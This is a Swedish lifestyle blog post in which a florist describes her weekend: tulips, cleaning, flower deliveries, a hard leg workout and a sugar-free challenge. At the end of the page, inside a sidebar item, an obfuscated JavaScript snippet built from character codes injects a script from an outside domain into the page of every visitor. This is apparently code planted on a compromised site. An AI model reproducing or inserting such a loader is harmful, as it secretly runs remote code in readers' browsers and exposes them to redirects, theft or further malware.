Sammanfattning utav helgen ;) Träningsvärk from hell!

bild 1(19)

Godmorgon min vän! 

Söndag morgon den 19:e oktober och det är 16grader utomhus, det är galet! Här på Öland är det dock ganska grått och trist utomhus…. Men ingenting som jag klagar på då det är såhär behagligt varmt. Jag har i veckan fått hem årets första tulpaner. SOM jag har längtat! Detta är mina absoluta favoriter, super parrot tulpaner som går i vitt & lime. Dom ligger på ett lite högre pris men dom står otroligt länge och blir bara finare ju mer dom blommar upp. Foto: Malin Björkholm

 

bild 2(15)

Dessa fick bli veckans vardagslyx hemma hos mig. Ikväll står det storstädning på schemat! Mitt hem ser utom som ”hej kom & hjälp mig” och ingen kom! hahaha! Men det är bara att kavla upp ärmarna och ta tag i det. Imorgon kommer Ludvig hem till mig, då är det för mig extra viktigt att ha det nystädat, nyskurat, nybäddat och med lite extra ”lull-lull” iform utav färska blommor och mumsiga fruktfat. Jag undrar dock om han eller jag är den som uppskattar det mest? 😉

 

bild 1(20)

Imorse ringde klockan tidigt, strax efter klockan 06:00. jag påbörjade min storstädning innan jag körde mot Öland för att köra ut lite specialbud tidigare än vad vi normalt sett gör. Men är det för ett speciellt tillfälle, just som detta en jämn födelsedag så ställer vi självklart upp på det 😉 Dessutom så möts man alltid av Vändligt glada människor när man står i dörröppningen med ett blomsterbud 🙂

Nu är jag tillbaka i butiken, jag jobbar med min kollega Evelina. Vi har påbörjat gravsmyckningen, plockar upp lite höstnyheter iform utav snygga krukor, ljuslyktor och annan inredning =)

 

bild 5(13)

Denna helgen har bara varit lugn och skön. Jobbat om dagarna, spenderat kvällarna med min ”kalmar-fru” Sara. Frossat i fruktfat och TRÄNAT! Jag var på gymmet igår för första gången på nästan 7 veckor! Galet vad mycket man tappar på dessa veckor. jag körde ett rejält benpass, samt lite andra övningar. Jag brukar normalt sett köra repetioner x3 samt ha tyngre vikter. Igår körde jag repetionerna x2 och minskade vikterna och var verkligen helt slut! Jag vaknade upp med en träningsvärk from hell! Men nu är det slut på mina ursäkter, jag kör igång med träningen igen samtidigt som jag kör utmaningen mer er om att vara helt utan godis & fika till den 23/12. Om du har missat detta så kan du hoppa på det nu också om du vill. (du hittar det inlägget ett par inlägg bak) ;)Hur går det för dig med socker suget? Jag själv är extremt sötsugen och får verkligen anstränga mig till max!

 

bild 3(14)Vi har ju även kickat igång en tävling som ni kunde se i två inlägg bak, kika gärna in på den om du vill! Enkelt och ett jätte fint bokpaket som vinst! =)

Bok_solfjaer

Nu min vän så ska jag fortsätta att jobba här på My’s Blommor. Hoppas att du får en skön & fin söndag!

Kramar /My Martens

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/